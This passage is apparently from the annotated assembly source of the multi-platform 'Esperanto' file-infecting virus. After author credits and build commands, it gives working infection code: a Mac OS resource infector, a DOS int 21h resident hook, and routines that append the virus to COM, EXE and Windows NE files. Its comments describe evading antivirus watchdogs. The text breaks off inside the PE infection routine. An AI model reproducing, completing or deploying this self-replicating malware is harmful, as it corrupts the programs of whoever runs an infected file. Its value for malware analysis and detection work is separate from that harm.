ÄÄÄÄÄÄÄÄÄÄÄÄ ; I would like to thank Jacky Qwerty very especially for his big help in the ; Win32 module (as well as in some stupid bugs) :) I wouldn't have been able ; to write the Win32 module without him. What can i say man... thank you ve- ; ry much, you rock ;) Also very special thanks to GriYo, who provided to me ; as well as Jacky very valuable information and code about PE infection un- ; der Win32, when we all (Jacky, GriYo and i) were working on the subject. ; ; A very special greeting also for Vecna, who is nowadays doing the military ; service in Brazil, his country... i'll never forget what you said about my ; virus, we all miss you and hope to see you soon, friend :) ; ; Btw, Guillermito... what about your "virus of the year" contest? ;) ; ; ; 6. Compiling it ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Don't even think on trying to compile the source code below. To do it, you ; should first separate three of the four modules, compile each of them with ; a different mode and/or compiler, and then put again the whole stuff toge- ; ther into one only file, keeping the data area untouched and having to mo- ; dify *every* pointer to it in the viral code. ; ; Better to use the already compiled binary provided by us, right? :) Anyway ; these are the compiling modes, for those of you who are curious about what ; did i use for compiling Esperanto. Btw, the compiler for the Mac OS module ; was CodeWarrior (i had to insert the ASM code inside a C source). ; ; ;  DOS+Windows 3.1x modules ; ; tasm /m espodos.asm ; tlink espodos.obj ; exe2bin espodos.exe espodos.com ; ;  Win32 module ; ; tasm32 -ml -m5 -q -zn espow32.asm ; tlink32 -Tpe -c -x -aa espow32.obj,,, import32.lib ; pewrsec espow32.exe .model tiny .code org 0 ; Í͹ Absolute virus start ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .386 ; Intel 80386 real mode espo_start label byte ; Define virus start espo_mem_size equ espo_mem_end-espo_start ; Define size in memory espo_file_size equ espo_file_end-espo_start ; Define size in file reloc_size equ reloc_end-reloc_start ; Relocation size (NE) dseta_offset equ dseta_byte-espow32_start ; Dseta-offset size text_size equ text_end-text_start ; Size of payload text base_default equ 400000h ; Base default address ; ÄÄ´ Universal entry ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Note: this is the entry point for infected COM, EXE and Mac OS files. If ; the following instruction is executed in an Intel processor, it will jmp ; to the real entry for COM and EXE files. Otherwise (when running under a ; Motorola or PowerPC processor) it will be interpreted and executed as if ; it were plain data, thus being able to reach the real entry for infected ; Mac OS applications, which starts with a branch to the definitive entry. com_exe_entry: jmp real_ce_entry ; Jumps only in PCs ; Í͹ Mac OS module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ espo_header: bra.s mac_os_entry ; Jump to virus code dc.w #$0 ; Header gaps for later dc.l #'MDEF' ; initialization in the dc.l #$0 ; jump table built by dc.l #$0 ; the Mac OS Finder ; ÄÄ´ Entry point for Mac OS applications ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mac_os_entry: lea espo_header,a0 ; Copy our code location move.l a0,$9ce ; to $9ce (ToolScratch) bra espo_body ; for later reference espo_body: link a6,#-$24 ; Link code address movem.l d4-d7/a2-a4,-(sp) ; Push in our registers move.l $14(a6),d5 ; Use d5 as ëelta-offset movea.l #$a25,a3 ; In $a25 (MenuFlash), move.b (a3),d0 ; look for our action ext.w d0 ; code (3) in order to subq.w #$3,d0 ; know if our code is beq infect_mac_os ; already active or not move.b #$3,(a3) ; Else switch the flag clr.w d7 ; on as we're going to moveq #$2,d6 ; run or handling code check_offset: tst.w d7 ; Look for our resident bne search_loop ; code thru the memory movea.l d6,a3 ; Code apparently found move.b (a3),d0 ; Now check for our ext.w d0 ; header and identifiers cmpi.w #'M',d0 ; Is it an 'M'? bne.s search_loop ; Keep on searching move.l a3,d0 ; First byte is an 'M' addq.l #$1,d0 ; Now check the 2nd one movea.l d0,a0 ; Move address+1 to a0 move.b (a0),d0 ; Move second byte to d0 ext.w d0 ; Extend d0 cmpi.w #'D',d0 ; Is it a 'D'? bne.s search_loop ; Keep on searching move.l a3,d0 ; Base address to d0 addq.l #$2,d0 ; Checking 3rd byte... movea.l d0,a0 ; Move the address to a0 move.b (a0),d0 ; Move the byte to d0 ext.w d0 ; Extend d0 cmpi.w #'E',d0 ; Is it an 'E'? bne.s search_loop ; Keep on searching move.l a3,d0 ; Base address to d0 addq.l #$3,d0 ; Let's check 4th byte movea.l d0,a0 ; Move its address to a0 move.b (a0),d0 ; Move 4th byte to d0 ext.w d0 ; Extend d0 cmpi.w #'F',d0 ; Is it an 'F'? bne.s search_loop ; Keep on searching move.l a3,d0 ; Restore address in d0 addq.l #$4,d0 ; d0+$4=5th byte to see movea.l d0,a0 ; Move its address to a0 move.b (a0),d0 ; Move 5th byte to d0 ext.w d0 ; Extend d0 cmpi.w #$67,d0 ; Check for Esperanto bne.s search_loop ; resource first ID move.l a3,d0 ; Base address in d0 addq.l #$5,d0 ; Checking 6th byte movea.l d0,a0 ; Move its address to a0 move.b (a0),d0 ; Move the byte to d0 ext.w d0 ; Extend d0 cmpi.w #$26,d0 ; Check for the 2nd ID bne.s search_loop ; Wrong ID, search again move.l a3,d0 ; Get the address for addq.l #$6,d0 ; the 7th and last byte, movea.l d0,a0 ; which has to be our move.b (a0),d0 ; 3rd resource ID ($0c) ext.w d0 ; Extend d0 cmpi.w #$0c,d0 ; Everything ok? bne.s search_loop ; Wrong, how bad luck :( move.b #'W',(a3) ; Change MDEF to WDEF to moveq #$1,d7 ; fool some AV watchdogs search_loop: addq.l #$1,d6 ; and to limit too fast cmpi.l #$30d40,d6 ; infection, as WDEF is ble check_offset ; a less called resource ; ÄÄ´ Mac OS applications infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_mac_os: subq.w #$4,sp ; Empty stack (4 bytes) move.l #'CODE',-(sp) ; Push the resource name clr.w -(sp) ; we're looking for and _GetResource ; clear the stack movea.l (sp)+,a4 ; Move address to a4 subq.w #$2,sp ; Empty stack (2 bytes) move.l a4,-(sp) ; Push 'CODE' address _HomeResFile ; Home resource file move.w (sp)+,d4 ; Move address to d4 subq.w #$2,sp ; Empty stack (2 bytes) _CurResFile ; Current resource file move.w (sp)+,d7 ; Move address to d7 subq.w #$4,sp ; Empty stack (4 bytes) move.l #'MDEF',-(sp) ; Move the resource name move.w #$espo_file_size,-(sp) ; we're looking for _GetResource ; (Try to) get it movea.l (sp)+,a4 ; Move address to a4 move.l a4,d0 ; Does it exist? bne.s new_mdef ; Go and create it subq.w #$4,sp ; Empty stack (4 bytes) move.l #'MDEF',-(sp) ; Move resource name pea first_tab ; Move identifier _GetNamedResource ; Get MDEF address movea.l (sp)+,a2 ; Move its address to a2 move.l a2,-(sp) ; Push it onto the stack _DetachResource ; Detach resource clr.w -(sp) ; Clear the stack _UseResFile ; Use the MDEF resource subq.w #$4,sp ; Empty stack (4 bytes) move.l #'MDEF',-(sp) ; Move the resource name clr.w -(sp) ; Clear one word _GetResource ; Open the MDEF resource movea.l (sp)+,a4 ; Move handle to a4 move.l a4,-(sp) ; Push it into the stack move.w #$espo_file_size,-(sp) ; Move our identifier pea name_only ; And push the name tab _SetResInfo ; Set resource new info move.l a4,-(sp) ; Move handle into stack _ChangedResource ; Resource has changed move.l a4,-(sp) ; Move handle into stack _WriteResource ; Write a new MDEF res. move.l a2,-(sp) ; Stack original address move.l #'MDEF',-(sp) ; Stack resource name clr.w -(sp) ; Clear one word pea second_tab ; Viral res.ID string _AddResource ; Add new resource clr.w -(sp) ; Clear one word _UpdateResFile ; Update resource file subq.w #$4,sp ; Empty stack (4 bytes) move.l #'MDEF',-(sp) ; Now open again the move.w #$espo_file_size,-(sp) ; MDEF resource in order _GetResource ; to complete infection movea.l d5,a0 ; Move our delta to a0 movea.l (a0),a0 ; Move 1st byte to a0 move.l (sp)+,$6(a0) ; Move MDEF address to move.w d7,-(sp) ; a0+$6 and use the CODE _UseResFile ; resource (addr.in d7) bra calc_new_size ; Calculate new size new_mdef: movea.l d5,a0 ; Move ëelta to a0 move.l (a0),a0 ; Move 1st byte to a0 move.l a4,$6(a0) ; Move address for MDEF clr.w -(sp) ; to a0+$6 and call _UseResFile ; UseResFile function subq.w #$4,sp ; Empty stack (4 bytes) move.l #'MDEF',-(sp) ; Move resource name clr.w -(sp) ; Clear one word _Get1Resource ; Get a new resource movea.l (sp)+,a2 ; Move its address to a2 move.l a2,-(sp) ; Push a2 into the stack _DetachResource ; Detach the new resource move.w d4,-(sp) ; Use current resource _UseResFile ; file previously stored subq.w #$4,sp ; Empty stack (4 bytes) move.l #'MDEF',-(sp) ; Move resource name clr.w -(sp) ; Clear one word _Get1Resource ; Get the new resource movea.l (sp)+,a4 ; Move address to a4 move.l a4,d0 ; Is this address busy? bne.s address_used ; Branch if so move.l a2,-(sp) ; Stack resource address move.l #'MDEF',-(sp) ; Move resource name clr.w -(sp) ; Clear one word pea second_tab ; Resource identifier _AddResource ; Add new resource subq.w #$2,sp ; Empty stack (2 bytes) _CurResFile ; Current resource file _UpdateResFile ; Update resource file bra.s calc_new_size ; Calculate new size address_used: move.w d7,-(sp) ; Use current resource _UseResFile ; file previously stored subq.w #$4,sp ; Empty stack (4 bytes) move.l #'MDEF',-(sp) ; Move resource name clr.w -(sp) ; Clear one word _Get1Resource ; Get one resource movea.l (sp)+,a4 ; Move its address to a4 move.l a4,d0 ; Compare it again bne.s calc_new_size ; Branch if not equal move.l a2,-(sp) ; Stack resource address move.l #'MDEF',-(sp) ; Move resource name clr.w -(sp) ; Clear one word pea second_tab ; Resource ID string _AddResource ; Add new resource subq.w #$2,sp ; Empty stack (2 bytes) _CurResFile ; Current resource file _UpdateResFile ; Update resource file calc_new_size: move.l d5,-(sp) ; Move delta into stack _CalcMenuSize ; Calculate new menu size movem.l (sp)+,d4-d7/a2-a4 ; Restore used registers unlk a6 ; Unlink code address movea.l (sp)+,a0 ; Move original address lea $12(sp),sp ; to a0, restore stack jmp (a0) ; and jump back to it dc.l #'MAIN' ; Main code module dc.w #$2020 ; Pre-initialized gaps dc.w #$2020 ; for Mac OS Finder ; ÄÄ´ Data area for Mac OS module ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ first_tab: dc.w #$16 ; For _GetNamedResource second_tab: dc.b #$7 ; For _AddResource name_only: dc.l #'Esperanto' ; For _SetResInfo ; Í͹ DOS runtime module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ real_ce_entry: call delta_offset ; Get ë-offset in BP in delta_offset: pop bp ; the traditional and sub bp,offset delta_offset ; always effective way :) push es cs ; Segment push/popping pop ds ; for l8r use in our code mov ax,':)' ; Residency check int 21h ; Are we home? cmp ax,';)' ; Winky smiley, we are je work_done ; already resident... go_mem_res: mov ax,es ; Residency routine dec ax ; Get our host's MCB mov ds,ax ; segment and point its xor di,di ; start with DI cmp byte ptr ds:[di],'Y' ; Is it a Z block? jna work_done ; Exit if it is not sub word ptr ds:[di+3],((espo_mem_size/10h)+2) sub word ptr ds:[di+12h],((espo_mem_size/10h)+2) add ax,word ptr ds:[di+3] inc ax ; Get a new MCB segment ; for the viral code mov ds,ax mov byte ptr ds:[di],'Z' ; Mark it as a Z block mov word ptr ds:[di+1],8 ; And as a system block mov word ptr ds:[di+3],((espo_mem_size/10h)+1) mov dword ptr ds:[di+8],00534f44h ; Owner ID -> DOS inc ax cld ; Clear direction flag push cs ; Point with CS and DS pop ds ; to the code running now mov es,ax ; ES = virus segment mov cx,espo_file_size ; CX = virus size mov si,bp ; SI = virus start rep movsb ; Copy virus to memory push es ; Now jump to our copy push offset copy_vector ; in memory so we don't retf ; have to use ë-offset copy_vector: push ds ; Save DS in the stack mov ds,cx ; DS = CX = 0 -> IVT mov si,21h*4 ; Point int 21h vector lea di,old_int_21h ; Point our storage movsd ; Store old vector mov word ptr [si-4],offset new_int_21h mov word ptr [si-2],ax pop ax ; Once we've set the mov ds,ax ; new int 21h vector, mov es,ax ; check out our host work_done: cmp byte ptr ds:[bp+file_flag],'C' ; Is our host a COM? je restore_com ; Yes, restore it restore_exe: pop es ; In case it's an EXE mov ax,es ; file, get PSP segment add ax,10h ; and adjust it to add word ptr ds:[bp+exe_cs],ax ; execute our host code cli ; Clear interrupts mov sp,word ptr ds:[bp+exe_sp] ; Set new SP add ax,word ptr ds:[bp+exe_ss] ; Get SS and add to it mov ss,ax ; the PSP+10h value sti ; Set interrupts xor ax,ax ; Set the value of all xor bx,bx ; these registers to 0 xor cx,cx ; so it seems that cwd ; nothing has happened xor si,si ; and we've not been xor di,di ; here infecting :) push word ptr ds:[bp+exe_cs] ; Push initial segment push word ptr ds:[bp+exe_ip] ; Push initial offset xor bp,bp ; And jump into there! retf restore_com: lea si,[bp+old_com_header] ; Point to the buffer mov di,100h ; in which we've stored push ds di ; the original COM header movsd ; and copy it (5 bytes) movsb ; to its entrypoint retf ; Jump to CS:IP ; Í͹ Windows 3.1x module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ newexe_entry: pusha ; Push our registers push ds es ; And save segments mov ax,0ah ; Get a writable alias mov bx,cs ; selector of CS in AX int 31h ; and move it to DS mov ds,ax mov byte ptr ds:[file_or_mem],'F' ; Runtime infection mov ah,4eh ; Find first file find_more_com: xor cx,cx ; No special attribs mov byte ptr ds:[inf_counter],cl ; inf_counter = 0 lea dx,ds:[com_wildcard] ; Look for COM files int 21h ; to infect only in jc other_search ; current directory mov ah,2fh ; Get DTA address in int 21h ; ES:BX and point to it add bx,1eh ; BX+1eh -> filename xchg dx,bx ; ES:DX -> filename mov byte ptr ds:[file_flag],'C' ; Switch the COM flag on jmp check_com ; And jump for it! other_search: mov ah,4eh ; Now let's look for find_more_exe: xor cx,cx ; EXE files (only in the lea dx,ds:[exe_wildcard] ; current directory) as int 21h ; there are not more jc restore_ne ; COM files to infect mov ah,2fh ; Get DTA address in int 21h ; ES:BX and point to it add bx,1eh ; BX+1eh -> filename xchg dx,bx ; ES:DX -> filename mov byte ptr ds:[file_flag],'E' ; Switch the EXE flag on jmp check_exe ; And jump for it! restore_ne: pop es ds ; Pop our segments and popa ; reggs from the stack db 0eah ; jmp xxxx:xxxx newexe_ip dw ? ; Original offset newexe_cs dw 0ffffh ; Original segment ; Í͹ DOS memory resident module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ new_int_21h: cmp ax,':)' ; Our residency check? jne more_checks ; Nope, more checks... inc ah ; Turn ":)" into ";)" iret ; Interrupt return more_checks: cmp ah,4eh ; Find first file? je findfirst ; Yes, it's our time! cmp ah,4fh ; Find next file? je findnext ; Our time again! :) return_to_int: db 0eah ; jmp xxxx:xxxx old_int_21h dw ?,? ; Original int 21h ; ÄÄ´ Findfirst (4eh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ findfirst: pusha ; Push'em onto the stack push es cs ; Push ES as well so we pop es ; now change it to CS cld ; Clear direction flag mov si,dx ; DS:DX/SI -> filename lea di,filename ; ES:DI -> name buffer mov word ptr cs:[file_offset],di ; Filename offset get_path: lodsb ; Load a byte of path or al,al ; The end of the path? je no_more_path ; Jump if so to work... stosb ; Store it in the buffer cmp al,':' ; Possible end of path? je update_offset ; Then update offset cmp al,'\' ; Possible end of path? jne get_path ; Update filename offset update_offset: mov word ptr cs:[file_offset],di ; New filename offset jmp get_path ; Get more characters no_more_path: pop es ; Restore ES from stack popa ; And the other registers ; ÄÄ´ Findnext (4fh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ findnext: pushf ; Push flags in the stack call dword ptr cs:[old_int_21h] ; Call original int 21h pushf ; Push flags again pusha ; Now push registers push ds es ; And now segments lets_work: cld ; Clear direction flag mov ah,2fh ; Get Disk Transfer Area int 21h ; (DTA) in ES:BX mov di,word ptr cs:[file_offset] ; DI -> filename offset mov si,bx ; Now point with DS:SI add si,1eh ; to the name in DTA push cs es ; New DS = old ES pop ds es ; New ES = old CS get_name: lodsb ; Load byte from DS:SI stosb ; And store it in ES:DI cmp al,'.' ; Look for extension jne not_a_dot ; Have we reached it? mov word ptr cs:[dot_xy],di ; Then store its offset not_a_dot: or al,al ; End of filename? jne get_name ; Keep on getting it push cs ; Push CS and pop DS pop ds ; so they're the same lea dx,filename ; DS:DX -> filename mov di,word ptr ds:[dot_xy] ; DS:DI -> extension mov byte ptr cs:[file_or_mem],'M' cmp word ptr ds:[di],'XE' ; Is it an EXE file? je check_exe ; Seems so... cmp word ptr ds:[di],'OC' ; Maybe a COM file? jne pop_and_leave ; If not, pop and leave ; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_com: push ds es ; DS = ES (to open files pop ds ; in DS:DX and ES:DX) mov ax,3d02h ; Open the file we've int 21h ; found in DS:DX (from xchg bx,ax ; memory) or ES:DX (from pop ds ; the runtime infection) call system_checks ; Do some checks in or ah,ah ; order to know if we jz close_and_pop ; may infect the file mov ah,3fh ; Read its first five mov cx,5 ; bytes to our buffer lea dx,old_com_header ; and check if the file int 21h ; is already infected cmp word ptr ds:[old_com_header+3],');' je close_and_pop ; File is infected call lseek_end ; Now check its size cmp ax,(0fc17h-espo_file_size) ; 65535-virus-1000 jae close_and_pop ; Is it is too large? cmp ax,(espo_file_size+3e8h) ; And now see if it's jbe close_and_pop ; too small (virus+1000) ; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_com: mov byte ptr ds:[file_flag],'C' ; Set the COM flag in inc byte ptr ds:[inf_counter] ; Increment the counter push ax ; AX -> filesize mov ah,40h ; Append our code to mov cx,espo_file_size ; the file we're about lea dx,espo_start ; to infect, leaving int 21h ; out the data buffers pop ax ; Filesize in AX sub ax,3 ; Calcul8 the new jmp mov word ptr ds:[new_com_header+1],ax ; And write it call lseek_start ; Lseek to the start mov ah,40h ; And now write our new mov cx,5 ; header -0e9h,?,?,;)- lea dx,new_com_header ; which jumps straight int 21h ; to the viral code close_and_pop: mov ah,3eh ; Close the file we've int 21h ; just infected pop_and_leave: cmp byte ptr ds:[file_or_mem],'M' ; Memory infection? je memory_exit ; Yes, jump back to it cmp byte ptr ds:[inf_counter],3 ; Have we reached the je restore_ne ; infection limit? mov ah,4fh ; If not, look for more cmp byte ptr ds:[file_flag],'C' ; files to infect, both je find_more_com ; EXE and COM, depending jmp find_more_exe ; on their availability memory_exit: pop es ds ; Jump back to the int popa ; 21h handler and keep popf ; on intercepting 4eh retf 2 ; and 4fh to infect ; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_exe: push ds es ; DS = ES (to open files pop ds ; in DS:DX and ES:DX) mov ax,3d02h ; Open the file we've int 21h ; found in DS:DX (from xchg bx,ax ; memory) or ES:DX (from pop ds ; the runtime infection) call system_checks ; Do some checks in or ah,ah ; order to know if we jz close_and_pop ; may infect the file mov ah,3fh ; Read its first 41h mov cx,41h ; bytes into our read lea dx,old_exe_header ; buffer and point it mov si,dx ; with DS:DX and DS:SI int 21h mov ax,word ptr ds:[si] ; First word in AX add ah,al ; Add the 2 first bytes cmp ah,'M'+'Z' ; And check for the MZ jne close_and_pop ; mark (DOS EXE files) cmp word ptr ds:[si+12h],');' ; Have we already je close_and_pop ; infected the file? cmp word ptr ds:[si+1ah],0 ; We don't like evil jne close_and_pop ; overlays :P cmp word ptr ds:[si+1eh],'KP' ; Nor PkLited EXE files, je close_and_pop ; they plainly suck call lseek_end ; Lseek to the end of cmp ax,(espo_file_size+3e8h) ; the file and check if jbe close_and_pop ; it's too small for us cmp byte ptr ds:[si+18h],40h ; Is it a WinXX file? je check_winexe ; Yep, go for it! ; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_exe: mov byte ptr ds:[file_flag],'E' ; Set the EXE flag in inc byte ptr ds:[inf_counter] ; Increment the counter push ax dx ; DX:AX -> file size mov cx,10h ; CX -> paragraph size div cx ; Now divide the length sub ax,word ptr ds:[si+8] ; Header size in paras add dx,offset com_exe_entry ; Add the entry offset push ax ; AX = new EXE CS xchg word ptr ds:[si+16h],ax ; Exchange the values mov word ptr ds:[exe_cs],ax ; Save old EXE CS pop ax ; Restore AX from stack push dx ; DX = new EXE IP xchg word ptr ds:[si+14h],dx ; Exchange the values mov word ptr ds:[exe_ip],dx ; Save old EXE IP pop dx ; Restore DX from stack add dx,offset espo_file_end+320h ; Add 320h to the virus and dl,0feh ; size in order to set SP xchg word ptr ds:[si+0eh],ax ; Exchange the values mov word ptr ds:[exe_ss],ax ; And save old EXE SS xchg word ptr ds:[si+10h],dx ; Exchange the values mov word ptr ds:[exe_sp],dx ; And save old EXE SP pop dx ax ; DX:AX -> file size add ax,espo_file_size ; Add virus size to AX adc dx,0 ; And add with carry mov cx,200h ; CX -> page size div cx ; Divide the length inc ax ; Increment one page mov word ptr ds:[si+2],dx ; Bytes in last page mov word ptr ds:[si+4],ax ; Pages in EXE file mov word ptr ds:[si+12h],');' ; Set our own mark mov ah,40h ; Append our code to mov cx,espo_file_size ; the end of the EXE lea dx,espo_start ; file we've almost int 21h ; infected :P call lseek_start ; Lseek to start mov ah,40h ; And now write the mov cx,1ch ; new header with the mov dx,si ; updated pointers int 21h ; instead of the old one go_away: jmp close_and_pop ; Close file and exit ; ÄÄ´ NewEXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_winexe: lea di,winexe_data ; Point to our buffer mov ax,word ptr ds:[si+3ch] ; Save the pointer to mov word ptr ds:[di],ax ; the new EXE header mov word ptr ds:[si+12h],');' ; Set our infection mark sub word ptr ds:[si+3ch],8 ; Substract a quadword cmp word ptr ds:[si+3eh],0 ; Enough room for us? jne go_away ; Oops... shit... :( call lseek_start ; Lseek to start mov ah,40h ; Write in the changes mov cx,40h ; we've just made in mov dx,si ; the pointers of the int 21h ; MZ header of the file mov dx,word ptr ds:[di] ; Lseek to the new EXE call lseek_middle ; header (MZ+[3ch]) mov ah,3fh ; Read 200h bytes from mov cx,200h ; the start of the new mov dx,si ; EXE file to our buffer int 21h ; and point to it cmp word ptr ds:[si],'EP' ; Is it a PE file? je check_pe ; Go and eat it! cmp word ptr ds:[si],'EN' ; Maybe a NewEXE file? jne bad_winexe ; Argh! that's bad luck cmp word ptr ds:[si+36h],802h ; Does it have gangload je infect_newexe ; area? good to know ;) call lseek_start ; Lseek to start of the bad_winexe: mov ah,3fh ; file and read again mov cx,41h ; the MZ header because mov dx,si ; we have to remodify it int 21h add word ptr ds:[si+3ch],8 ; Update the pointer to call lseek_start ; the new EXE header mov ah,40h ; And rewrite the MZ mov cx,40h ; header, stored in our mov dx,si ; read buffer (pointed int 21h ; by DS:DX and DS:SI) jmp close_and_pop ; Close file and exit ; ÄÄ´ NewEXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_newexe: inc byte ptr ds:[inf_counter] ; Increment the counter mov ax,word ptr ds:[si+22h] ; Distance to seg.table mov dx,8 ; Value we have to add cmp word ptr ds:[si+4],ax ; to the pointers which jb first_ok ; are equal to AX add word ptr ds:[si+4],dx ; Update first pointer first_ok: mov cx,4 ; 4 pointers to update push si ; Push SI onto stack add si,24h ; Now go for the rest update_ptrs: cmp word ptr ds:[si],ax ; Pointer below AX? jb dont_add ; Don't add 8 to it add word ptr ds:[si],dx ; Update the pointer dont_add: inc si ; I know i could have inc si ; optimized this, but loop update_ptrs ; who cares :P pop si ; Pop SI from stack mov ax,word ptr ds:[si+1ch] ; AX -> segment counter inc word ptr ds:[si+1ch] ; Increment counter mov cx,dx ; CX = DX = 8 cwd ; Now set DX to 0 mov byte ptr ds:[si+37h],dl ; EXE flags = 0 mov word ptr ds:[si+38h],dx ; Kill gangload area mov word ptr ds:[si+3ah],dx ; for compatibility mul cx ; Multiply AX*CX add ax,word ptr ds:[si+22h] ; Ptr to segment table mov cx,200h ; CX -> page size adc dx,0 ; Add with carry to DX div cx ; Divide the length mov word ptr ds:[di+3],ax ; Move to newexe_size mov word ptr ds:[di+5],dx ; Move to last_newexe mov ax,offset newexe_entry ; Offset of the NE entry xchg ax,word ptr ds:[si+14h] ; Exchange the values mov word ptr ds:[old_ne_ip],ax ; Store old NE IP mov ax,word ptr ds:[si+1ch] ; Nr.of segments in NE xchg ax,word ptr ds:[si+16h] ; Exchange the values mov word ptr ds:[old_ne_cs],ax ; Store old NE CS mov al,byte ptr ds:[si+32h] ; Get file alignment mov byte ptr ds:[di+2],al ; shift count in AL mov ax,word ptr ds:[di] ; Offset of NE header mov word ptr ds:[di+7],ax ; in AX and lseek_newexe move_forward: mov ax,word ptr ds:[di+3] ; Get newexe_size value or ax,ax ; in AX and check if it jz last_page ; is equal to zero dec word ptr ds:[di+3] ; Decrement newexe_size mov dx,word ptr ds:[di+7] ; Now lseek to [3ch]-8 sub dx,8 ; in order to shift the call lseek_middle ; required objects mov ah,40h ; Write one page which mov cx,200h ; contains the NE header add word ptr ds:[di+7],cx ; in [3ch]-8 in order to mov dx,si ; shift the 1st object int 21h push cx ; CX -> one page size mov dx,word ptr ds:[di+7] ; Now lseek to the end call lseek_middle ; of the *new* NE header mov ah,3fh ; Read a new page from pop cx ; current offset to our mov dx,si ; buffer, pointed both int 21h ; by DS:DX and DS:SI jmp move_forward ; And go shift it last_page: call lseek_end ; Lseek to the bottom mov cl,byte ptr ds:[di+2] ; Get align_shift in CL push bx ; Push file handle mov bx,1 ; And now shift segment shl bx,cl ; offset by segment mov cx,bx ; alignment (shl -> CX) pop bx ; Pop file handle div cx ; And divide AX:CX mov word ptr ds:[di+9],0 ; Set lseek_add = 0 or dx,dx ; Is DX also zero? jz no_extra ; Yes, no extra page sub cx,dx ; Substract DX from CX mov word ptr ds:[di+9],cx ; Move it to lseek_add inc ax ; And increment AX no_extra: push di ; Push DI onto stack mov di,si ; Now DS:SI = DS:DI add di,word ptr ds:[last_newexe] ; DS:DI+last_newexe mov word ptr ds:[di],ax ; Segment offset mov word ptr ds:[di+2],espo_file_size ; Segment size mov word ptr ds:[di+4],180h ; Segment attribs mov word ptr ds:[di+6],espo_file_size+400h ; Bytes to pop di ; allocate mov dx,word ptr ds:[di+7] ; Lseek to the offset sub dx,8 ; where we have to call lseek_middle ; write this last page mov ah,40h ; Write it in, its mov cx,word ptr ds:[di+5] ; size is specified add cx,8 ; in (last_newexe)+8 mov dx,si ; Point to the buffer int 21h ; And do it :P xor cx,cx ; Set the NewEXE IP xchg word ptr ds:[newexe_ip],cx ; to zero, exchange it push cx ; and push old value xor cx,cx ; And now set the dec cx ; NewEXE CS to 0ffffh xchg word ptr ds:[newexe_cs],cx ; Exchange the values push cx ; And push it for l8r mov ax,4202h ; Lseek to our final xor cx,cx ; destination place mov dx,word ptr ds:[di+9] ; in the NewEXE file int 21h mov ah,40h ; And append our virus mov cx,espo_file_size ; body to it... now lea dx,espo_start ; it has grown 4733 int 21h ; charming bytes :P pop word ptr ds:[newexe_cs] ; Restore relocation pop word ptr ds:[newexe_ip] ; pointers for CS:IP mov ah,40h ; And write the cool mov cx,reloc_size ; relocation item :) lea dx,reloc_start ; Now the file is int 21h ; 4743 bytes bigger! jmp go_away ; Close it and exit ; ÄÄ´ PE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_pe: call lseek_start ; Lseek to the start mov ah,3fh ; of the file and mov cx,41h ; read again the first mov dx,si ; 41h bytes of the MZ int 21h ; header to rebuild it call lseek_start ; Lseek to start again add word ptr ds:[si+MZ_lfanew],8 ; Update the pointer mov ah,40h ; to the new EXE header mov cx,40h ; by readding 8 to it mov dx,si ; and write the MZ int 21h ; header back mov dx,word ptr ds:[di] ; Now lseek to the call lseek_middle ; PE header (in [3ch]) mov ah,3fh ; Read one page from mov cx,200h ; it to our buffer mov dx,si ; and point it both int 21h ; with DS:DX and 